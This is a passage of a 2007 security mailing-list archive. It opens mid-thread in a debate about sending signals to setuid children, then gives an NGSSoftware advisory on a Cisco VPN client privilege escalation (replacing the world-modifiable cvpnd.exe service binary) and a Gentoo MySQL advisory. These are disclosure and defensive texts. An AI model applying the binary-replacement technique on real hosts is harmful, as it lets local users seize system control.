least, it's supposed to be secure).

  because it's an unprivileged process which
  *causes* the signal to be issued. If the process tried to send the
  signal directly with kill(), it would fail. This vulnerability is a
  form of privilege escalation; it can cause the sending of signal which
  would normally be prohibited on security grounds.
 
 The matter here is that you cannot abuse this bug to send arbitrary signal to 
 arbitrary process in the system. You can only send it to your children.

Including setuid children. That isn't supposed to be possible.

 And
 this is in general not exploitable. For example, what scary things can happen 
 when you send SIGKILL, SIGQUIT, SIGBUS, SIGSTOP or SIGSEGV to /bin/su in 
 condition that the latter doesn't allow arbitrary code execution on receiving 
 a 
 signal?

Killing a process can leave stale lock files resulting in a denial of
service. Sending SIGSTOP may behave likewise, only moreso: the creator
will still exist, so the lock files may not be considered stale,
fcntl() locks will still be held, etc.

There's more risk if a program uses signals (e.g. SIGUSR1) for remote
control.

If there wasn't *any* risk, there wouldn't be any restrictions on
sending signals to privileged processes.

   Well written program must not depend on anything that is out of 
   it's control.
  
  That's neither possible
 
 Really? Let's consider the following scenario. You write an analogue of 
 /bin/passwd. Here you make a temporary copy of /etc/shadow, hard link 
 /etc/shadow to /etc/shadow- pre-removing existing /etc/shadow- if that exists,

That interferes with any existing passwd invocation.

  Programs have to rely upon the
  OS to guarantee certain behaviours. The problem here is that there is
  a mechanism which causes a guarantee to be violated.
  
 Yes, and I said this is a bug, but it is in general not exploitable.

It's roughly as exploitable as any other bug which allows signals to
be sent to privileged processes, i.e. it's mostly a DoS issue.

  Just in case it hasn't sunk in yet, the inability to trust signals is
  a consequence of this bug. Ordinarily, it should be possible to rely
  upon the fact that an asynchronous signal cannot be sent to a suid
  process by an unprivileged user.
 
 I disagree with you in that. Any hard guarantee can be given only by God.
 I repeat, signals are in general not a reliable information source since they 
 can be generated in a couple of ways, even by an unkind superuser :-) .

You cannot protect against the superuser, nor should you even try. 
Programs which attempt to evade control by the owner of 

Local privilege escalation vulnerability in Cisco VPN client

2007-08-16 Thread NGSSoftware Insight Security Research
===
Summary
===
Name: Permissively-ACLed cvpnd.exe allows interactive users to run
arbitrary binaries with Local System Privileges
Release Date: 16 August 2007
Reference: NGS00503
Discover: Dominic Beecher [EMAIL PROTECTED]
Vendor: Cisco
Vendor Reference: cisco-sa-20070815-vpnclient
Systems Affected:  All versions up to but not including 5.0.01.0600
Risk: High
Status: Published


TimeLine

Discovered: 18 May 2007
Released: 22 May 2007
Approved: 11 June 2007
Reported: 23 May 2007
Fixed: 15 August 2007
Published: 16 August 2007

===
Description
===
Impact: locally logged-on users of affected hosts can cause arbitrary
binaries to be executed in the context of Local System. This effectively
compromises the host.

=
Technical Details
=
Cisco's VPN client for Windows installs a Windows service, the Cisco
Systems, Inc. VPN Service or CVPND, whose associated binary is
C:\Program Files\Cisco Systems\VPN Client\cvpnd.exe. By default, the
CVPND service runs as Local System.

SERVICE_NAME: CVPND
TYPE   : 110  WIN32_OWN_PROCESS (interactive)
START_TYPE : 2   AUTO_START
ERROR_CONTROL  : 0   IGNORE
BINARY_PATH_NAME   : C:\Program Files\Cisco Systems\VPN
Client\cvpnd.exe
LOAD_ORDER_GROUP   :
TAG: 0
DISPLAY_NAME   : Cisco Systems, Inc. VPN Service
DEPENDENCIES   : TCPIP
SERVICE_START_NAME : LocalSystem

Interactive Users (i.e. those who have logged on locally) are granted
Modify permissions to cvpnd.exe (and its parent directory), denoted by
NT AUTHORITY\INTERACTIVE:C in the cacls output below.

C:\Program Files\Cisco Systems\VPN Client\cvpnd.exe
NT AUTHORITY\INTERACTIVE:C
BUILTIN\Users:R
BUILTIN\Power Users:C
BUILTIN\Administrators:F
NT AUTHORITY\SYSTEM:F
BUILTIN\Administrators:F

This allows normal users who have logged on to a susceptible host to
move cvpnd.exe to another location, and substitute another binary for
cvpnd.exe. When the CVPND service restarts (e.g. on reboot), the
replaced cvpnd.exe will run in the context of Local System. This
effectively escalates users' privileges, thereby compromising the host.

===
Fix Information
===
Upgrade to a fixed version of the Cisco VPN client: see Cisco's advisory
at the URL below for more details.

http://www.cisco.com/warp/public/707/cisco-sa-20070815-vpnclient.shtml

Alternatively, as a workaround, revoke access rights for NT
AUTHORITY\INTERACTIVE from cvpnd.exe, e.g.:

C:\Program Files\Cisco Systems\VPN Clientcacls cvpnd.exe /E /R NT
AUTHORITY\INTERACTIVE


--
NGSSoftware Insight Security Research
http://www.ngssoftware.com/
http://www.databasesecurity.com/
http://www.nextgenss.com/
+44(0)208 401 0070

--
E-MAIL DISCLAIMER

The information contained in this email and any subsequent
correspondence is private, is solely for the intended recipient(s) and
may contain confidential or privileged information. For those other than
the intended recipient(s), any disclosure, copying, distribution, or any
other action taken, or omitted to be taken, in reliance on such
information is prohibited and may be unlawful. If you are not the
intended recipient and have received this message in error, please
inform the sender and delete this mail and any attachments.

The views expressed in this email do not necessarily reflect NGS policy.
NGS accepts no liability or responsibility for any onward transmission
or use of emails and attachments having left the NGS domain.

NGS and NGSSoftware are trading names of Next Generation Security
Software Ltd. Registered office address: 52 Throwley Way, Sutton, SM1
4BF with Company Number 04225835 and VAT Number 783096402


[ GLSA 200708-10 ] MySQL: Denial of Service and information leakage

2007-08-16 Thread Raphael Marichez
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory   GLSA 200708-10
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
 Title: MySQL: Denial of Service and information leakage
  Date: August 16, 2007
  Bugs: #185333
ID: 200708-10

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis


A Denial of Service vulnerability and a table structure information
leakage vulnerability were found in MySQL.

Background
==

MySQL is a popular multi-threaded, multi-user SQL server.

Affected packages
=

---
 Package   /  Vulnerable  / Unaffected
---
  1  dev-db/mysql   5.0.44  = 5.0.44

Description
===

Dormando reported a vulnerability within the handling of password
packets in the connection protocol (CVE-2007-3780). Andrei Elkin also
found that the CREATE TABLE LIKE command didn't require SELECT
privileges on the source table (CVE-2007-3781).

Impact
==

A remote unauthenticated attacker could use the first vulnerability to
make the server crash. The second vulnerability can be used by
authenticated users to obtain information on tables they are not
normally able to access.

Workaround
==

There is no known workaround at this time.

Resolution
==

All MySQL users should upgrade to the latest version:

# emerge --sync
# emerge --ask --oneshot --verbose =dev-db/mysql-5.0.44

References
==

  [ 1 ] CVE-2007-3780
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3780
  [ 2 ] CVE-2007-3781
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3781

Availability


This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200708-10.xml

Concerns?
=

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
[EMAIL PROTECTED] or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
===

Copyright 2007 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


pgp3LDZWG9E1s.pgp
Description: PGP signature